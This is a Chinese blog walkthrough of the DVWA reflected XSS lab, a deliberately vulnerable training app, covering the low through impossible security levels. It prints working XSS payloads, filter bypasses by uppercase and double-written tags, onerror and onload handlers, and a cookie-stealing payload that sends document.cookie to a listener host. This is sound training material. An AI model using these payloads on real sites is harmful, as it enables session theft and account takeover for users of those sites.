DVWA 反射型XSS XSS(Reflected)题解

low

首先输入最基础的

<script>alert(“1”)script>
1

发现弹窗成功.
在这里插入图片描述

重置数据库，试一下能不能爆出cookie。

<script>alert(“document.cookie”)script>
1

在这里插入图片描述
之后使用burp看一下数据包

发现其中的Cookie与爆出来的相同，证明爆出来的确实是Cookie
开个kali的nc监听一下

之后在靶场输入

<script>new Image().src="http://192.168.92.128/a.php?cookie="+document.cookie;script>
1

执行后可以在kali处看到返回的cookie
在这里插入图片描述

medium

首先试一下最基本的alert1：
在这里插入图片描述
毫无反应，甚至alert(“1”)作为用户名打了出来

点击网页右下角View Source按钮查看源码。

这里可以发现安全策略为：
将输入中的script（nnd，这里被安全屏蔽了，左右括号打不出来）替换为空，那么针对这个安全策略，可以有以下几种方法：
1 大写绕过

<SCRIPT>alert(“1”)script>
1

在这里插入图片描述
2 双写绕过

<script>ipt>alert(“1”)script>
1

在这里插入图片描述
3 使用其他标签

<img src=1 onerror=alert(document.cookie)>
1

这句是向src所记录的路由申请资源，若出错则执行onerror
在这里插入图片描述
此处我还实验了’<’和’>’符号的转义，遗憾的是没有成功

high

在这里插入图片描述
打开源码，可以看到源码对script使用正则进行了严格限制，medium阶段所使用的大写与双写绕过均作废了。只好使用其他标签进行漏洞利用

<body onload=alert(“1”)>
1

impossible

看眼源码，将输入进行了html实体转义，甚至防住了CSRF攻击。
在这里插入图片描述

相关阅读:
网络爬虫:如何有效的检测分布式爬虫
【OSTEP】分页: 快速地址转换(TLB) | TLB命中处理 | ASID 与页共享 | TLB替换策略: LRU策略与随机策略 | Culler定律
Stimulsoft Dashboards.PHP 2022.4.3 Crack
Python声明式统计可视化库 altair-GitHub鉴赏官
查询快递，多次揽收件如何筛选出来
摩尔信使MThings提供丰富的组态控件
投资理财基础知识分享（二）
浏览器开发者模式下只显示 XHR 请求应该怎么办
Nginx+rtmp+ffmpeg搭建视频转码服务
2024年浙江财经大学MBA招生简章发布：有哪些看点？

原文地址：https://blog.csdn.net/mirocky/article/details/126162635